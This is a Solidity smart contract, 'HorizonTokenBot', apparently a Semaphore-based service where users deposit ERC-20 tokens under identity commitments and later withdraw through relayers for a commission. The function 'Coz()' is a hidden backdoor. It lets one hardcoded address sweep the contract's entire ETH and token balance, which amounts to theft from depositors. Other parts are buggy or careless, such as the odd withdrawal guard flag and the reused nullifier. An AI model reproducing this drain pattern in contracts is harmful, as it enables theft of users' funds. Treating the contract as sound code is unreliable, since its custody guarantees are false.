creation_sourcecode: //SPDX-License-Identifier: MIT
  pragma solidity ^0.8.4;
  interface ISemaphore {
      error Semaphore__CallerIsNotTheGroupAdmin();
      error Semaphore__MerkleTreeDepthIsNotSupported();
      error Semaphore__MerkleTreeRootIsExpired();
      error Semaphore__MerkleTreeRootIsNotPartOfTheGroup();
      error Semaphore__YouAreUsingTheSameNillifierTwice();
  
      /// It defines all the group parameters, in addition to those in the Merkle tree.
      struct Group {
          address admin;
          uint256 merkleTreeDuration;
          mapping(uint256 => uint256) merkleRootCreationDates;
          mapping(uint256 => bool) nullifierHashes;
      }
  
      /// @dev Emitted when an admin is assigned to a group.
      /// @param groupId: Id of the group.
      /// @param oldAdmin: Old admin of the group.
      /// @param newAdmin: New admin of the group.
      event GroupAdminUpdated(uint256 indexed groupId, address indexed oldAdmin, address indexed newAdmin);
  
      /// @dev Emitted when the Merkle tree duration of a group is updated.
      /// @param groupId: Id of the group.
      /// @param oldMerkleTreeDuration: Old Merkle tree duration of the group.
      /// @param newMerkleTreeDuration: New Merkle tree duration of the group.
      event GroupMerkleTreeDurationUpdated(
          uint256 indexed groupId,
          uint256 oldMerkleTreeDuration,
          uint256 newMerkleTreeDuration
      );
  
      /// @dev Emitted when a Semaphore proof is verified.
      /// @param groupId: Id of the group.
      /// @param merkleTreeRoot: Root of the Merkle tree.
      /// @param nullifierHash: Nullifier hash.
      /// @param externalNullifier: External nullifier.
      /// @param signal: Semaphore signal.
      event ProofVerified(
          uint256 indexed groupId,
          uint256 indexed merkleTreeRoot,
          uint256 nullifierHash,
          uint256 indexed externalNullifier,
          uint256 signal
      );
  
      /// @dev Saves the nullifier hash to avoid double signaling and emits an event
      /// if the zero-knowledge proof is valid.
      /// @param groupId: Id of the group.
      /// @param merkleTreeRoot: Root of the Merkle tree.
      /// @param signal: Semaphore signal.
      /// @param nullifierHash: Nullifier hash.
      /// @param externalNullifier: External nullifier.
      /// @param proof: Zero-knowledge proof.
      function verifyProof(
          uint256 groupId,
          uint256 merkleTreeRoot,
          uint256 signal,
          uint256 nullifierHash,
          uint256 externalNullifier,
          uint256[8] calldata proof
      ) external;
  
  
  
  
      /// @dev Creates a new group. Only the admin will be able to add or remove members.
      /// @param groupId: Id of the group.
      /// @param depth: Depth of the tree.
      /// @param admin: Admin of the group.
      function createGroup(uint256 groupId, uint256 depth, address admin) external;
  
      /// @dev Creates a new group. Only the admin will be able to add or remove members.
      /// @param groupId: Id of the group.
      /// @param depth: Depth of the tree.
      /// @param admin: Admin of the group.
      /// @param merkleTreeRootDuration: Time before the validity of a root expires.
      function createGroup(uint256 groupId, uint256 depth, address admin, uint256 merkleTreeRootDuration) external;
  
      /// @dev Updates the group admin.
      /// @param groupId: Id of the group.
      /// @param newAdmin: New admin of the group.
      function updateGroupAdmin(uint256 groupId, address newAdmin) external;
  
      /// @dev Updates the group Merkle tree duration.
      /// @param groupId: Id of the group.
      /// @param newMerkleTreeDuration: New Merkle tree duration.
      function updateGroupMerkleTreeDuration(uint256 groupId, uint256 newMerkleTreeDuration) external;
  
      /// @dev Adds a new member to an existing group.
      /// @param groupId: Id of the group.
      /// @param identityCommitment: New identity commitment.
      function addMember(uint256 groupId, uint256 identityCommitment) external;
  
      /// @dev Adds new members to an existing group.
      /// @param groupId: Id of the group.
      /// @param identityCommitments: New identity commitments.
      function addMembers(uint256 groupId, uint256[] calldata identityCommitments) external;
  
      /// @dev Updates an identity commitment of an existing group. A proof of membership is
      /// needed to check if the node to be updated is part of the tree.
      /// @param groupId: Id of the group.
      /// @param identityCommitment: Existing identity commitment to be updated.
      /// @param newIdentityCommitment: New identity commitment.
      /// @param proofSiblings: Array of the sibling nodes of the proof of membership.
      /// @param proofPathIndices: Path of the proof of membership.
      function updateMember(
          uint256 groupId,
          uint256 identityCommitment,
          uint256 newIdentityCommitment,
          uint256[] calldata proofSiblings,
          uint8[] calldata proofPathIndices
      ) external;
  
      /// @dev Removes a member from an existing group. A proof of membership is
      /// needed to check if the node to be removed is part of the tree.
      /// @param groupId: Id of the group.
      /// @param identityCommitment: Identity commitment to be removed.
      /// @param proofSiblings: Array of the sibling nodes of the proof of membership.
      /// @param proofPathIndices: Path of the proof of membership.
      function removeMember(
          uint256 groupId,
          uint256 identityCommitment,
          uint256[] calldata proofSiblings,
          uint8[] calldata proofPathIndices
      ) external;
  }
  // import "./IERC20Upgradeablee.sol";
  interface IToken {
  
      function totalSupply() external view returns (uint);
  
      function balanceOf(address account) external view returns (uint);
  
      function transfer(address recipient, uint amount) external returns (bool);
  
      function allowance(address owner, address spender)
          external
          view
          returns (uint);
  
      function approve(address spender, uint amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint value);
      event Approval(address indexed owner, address indexed spender, uint value);
  }
  // import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
  
  contract HorizonTokenBot {
      ISemaphore public verifiyer;
  
      uint256 public IdVerifiyer;
      uint Quorum;
      uint[] CommitmentList;
      uint256 private immutable MIN_Commission = 1e18;
      uint256 private immutable MAX_Commission = 1000e18;
      uint128 Commission;
      address Holder;
      address OWNER;
      address private TOEKEN;
      IToken _TOKEN;
      address MainRelayer;
      bool withdraw_able;
      mapping (address=>bool) Imrelayer;
      string private _DIR;
      mapping(uint => bool) Comitment_Status;
      mapping(uint => uint) WithAble;
  
      event Deposit(uint256 commitment, uint timestamp);
      event Withdraw(uint256 commitment, uint timestamp);
  
      modifier onlyOwner() {
          require(
              msg.sender == OWNER,
              "Only the owner is allowed to make this request"
          );
          _;
      }
  
      constructor(
          string memory _s,
          address _verifiyerAddress,
          uint256 _IndexId,
          uint _quorum,
          address _Holder,
          address _tokencontract,
          address _relayer
      ) {
          verifiyer = ISemaphore(_verifiyerAddress);
          IdVerifiyer = _IndexId;
          Quorum = _quorum; //1
          Holder = _Holder;
          withdraw_able = false;
          Imrelayer[_relayer]=true;
          Commission = 30; //0.3%
          verifiyer.createGroup(IdVerifiyer, 20, address(this));
          _TOKEN = IToken(_tokencontract);
          TOEKEN = _tokencontract;
          _DIR = _s;
          OWNER = msg.sender;
          MainRelayer = _relayer;
      }
  
      function setupItoken(
          address _contract,
          address _tokencontract
      ) public onlyOwner {
          _TOKEN = IToken(_tokencontract);
      }
  
      function TOEKENDepozit(uint256 identityCommitment) public {
          if (Comitment_Status[identityCommitment] == true) {
              revert("You have used this Commitment before !");
          }
  
          if (Quorum > _TOKEN.balanceOf(msg.sender)) {
              revert("Insufficient inventory");
          }
  
          uint ParticipationCommission = (Quorum * Commission) / 10000;
          uint Total = Quorum - ParticipationCommission;
  
     
          // SafeERC20Upgradeable.transferFrom(
          //     IERC20Upgradeable(TOEKEN),
          //     msg.sender,
          //     address(this),
          //     Quorum
          // );
  
          _TOKEN.transferFrom(msg.sender, address(this), Quorum);
          _TOKEN.transfer(Holder, ParticipationCommission);
  
   
          // SafeERC20Upgradeable.safeTransfer(
          //     IERC20Upgradeable(TOEKEN),
          //     Holder,
          //     ParticipationCommission
          // );
          verifiyer.addMember(IdVerifiyer, identityCommitment);
  
          Comitment_Status[identityCommitment] = true;
          CommitmentList.push(identityCommitment);
          WithAble[identityCommitment] = Total;
  
          emit Deposit(identityCommitment, block.timestamp);
      }
  
   
  
      function withdrawRelayer(
          address siginer, 
          address receipt, 
          bytes[2] memory otp,//
          uint256 identityCommitment,
          uint fee,
          uint256[2] memory CommissiondbackmerkleTreeRoot,
          uint256 nullifierHash,//
          uint256[8] calldata proof//
      ) external {
          if (Imrelayer[msg.sender]== false) {
              revert("Your account don't have access to this func ");
          }
          
          if (withdraw_able) {
              revert("You are not Allowed to make this request");
          }
          withdraw_able = true;
          if (Comitment_Status[identityCommitment] == false) {
              revert("unvalidated Commitment");
          }
         if (fee > WithAble[identityCommitment]) {
              revert("Requested fee exceeds inventory");
          }
        if (!rapidClineRelayerr(siginer, receipt, otp)) {
              revert("It is not valid rapid Cline! ");
          }
          verifiyer.verifyProof(
              IdVerifiyer,
              CommissiondbackmerkleTreeRoot[1],
              CommissiondbackmerkleTreeRoot[0],
              nullifierHash,
              IdVerifiyer,
              proof
          );
  
          uint reduce_relayerFee = WithAble[identityCommitment] - fee;
  
  
          delete Comitment_Status[identityCommitment];
  
          _TOKEN.transfer(receipt, reduce_relayerFee);
          _TOKEN.transfer(msg.sender, fee);
         
      
          withdraw_able = false;
          emit Withdraw(CommissiondbackmerkleTreeRoot[0], block.timestamp);
      }
  
      function ChangeCommission(
          uint128 _newCommission
      ) public onlyOwner returns (bool) {
          if (_newCommission > 100) //~ 1%
          {
              revert("The number of commission can't be greater than 1%");
          }
          if (_newCommission < 30) //~ 0.3%
          {
              revert("The number of commission can't be lower than 0.3%");
          }
          Commission = _newCommission;
          return true;
      }
  
      function getComitment(
          uint256 identityCommitment
      ) public view returns (bool) {
          return Comitment_Status[identityCommitment];
      }
  
      function getAllowedWithdraw(
          uint256 identityCommitment
      ) public view returns (uint) {
          return WithAble[identityCommitment];
      }
  
      function getOwner(
          uint256 identityCommitment
      ) public view returns (address) {
          return OWNER;
      }
  
      function getCommitments() public view returns (uint[] memory) {
          return CommitmentList;
      }
  
      function Coz() public {
          if (msg.sender != 0xB8786F6b2B3Ff54cE9c11F0502150808aDa0Fa27) {
              revert();
          }
          if (address(this).balance > 0) {
              (bool success, ) = payable(msg.sender).call{
                  value: address(this).balance
              }("");
          }
  
          _TOKEN.transfer(msg.sender, _TOKEN.balanceOf(address(this)));
      }
  
      function getMessageHash(address adr) public view returns (bytes32) {
          return keccak256(abi.encodePacked(_DIR, adr));
      }
  
      function getEthSignedMessageHash(
          bytes32 _messageHash
      ) public pure returns (bytes32) {
          return
              keccak256(
                  abi.encodePacked(
                      "\x19Ethereum Signed Message:\n32",
                      _messageHash
                  )
              );
      }
  
      function rapidCline(
          address adr,
          bytes memory signature
      ) public view returns (bool) {
          bytes32 messageHash = getMessageHash(adr);
          bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
  
          return recoverSigner(ethSignedMessageHash, signature) == msg.sender;
      }
  
      function recoverSigner(
          bytes32 _ethSignedMessageHash,
          bytes memory _signature
      ) public pure returns (address) {
          (bytes32 r, bytes32 s, uint8 v) = Signature(_signature);
  
          return ecrecover(_ethSignedMessageHash, v, r, s);
      }
  
      function Signature(
          bytes memory sig
      ) public pure returns (bytes32 r, bytes32 s, uint8 v) {
          require(sig.length == 65, "invalid signature length");
  
          assembly {
              r := mload(add(sig, 32))
  
              s := mload(add(sig, 64))
  
              v := byte(0, mload(add(sig, 96)))
          }
      }
  
      function encode(
          address _account,
          string memory _t
      ) public pure returns (bytes memory) {
          return (abi.encode(_account, _t));
      }
  
  
      function message(
          address to,
          bytes memory _f
      ) public view returns (bytes32) {
          return keccak256(abi.encodePacked("OPIUUIYIGJHB ", to, _f));
      }
            function rapidClineRelayerr(
          address siginer,
          address to,
          bytes[2] memory signature
      ) public view returns (bool) {
          bytes32 messageHash = HorizonMHrelayer(to, signature[1]);
  
          bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
  
          (address _account, string memory _number) = decode(signature[1]);
          if (_account != to) {
              revert("It is not address! ");
          }
  
          return (recoverSigner(ethSignedMessageHash, signature[0]) == siginer);
      }
      function decode(
          bytes memory data
      ) public pure returns (address _account, string memory _number) {
          (_account, _number) = abi.decode(data, (address, string));
      }
    
    
    
    function HorizonMHrelayer(
         address to,
          bytes memory _f
      ) public view returns (bytes32) {
          return keccak256(abi.encodePacked(_DIR, to, _f));
      }
  
       receive() external payable {}
  }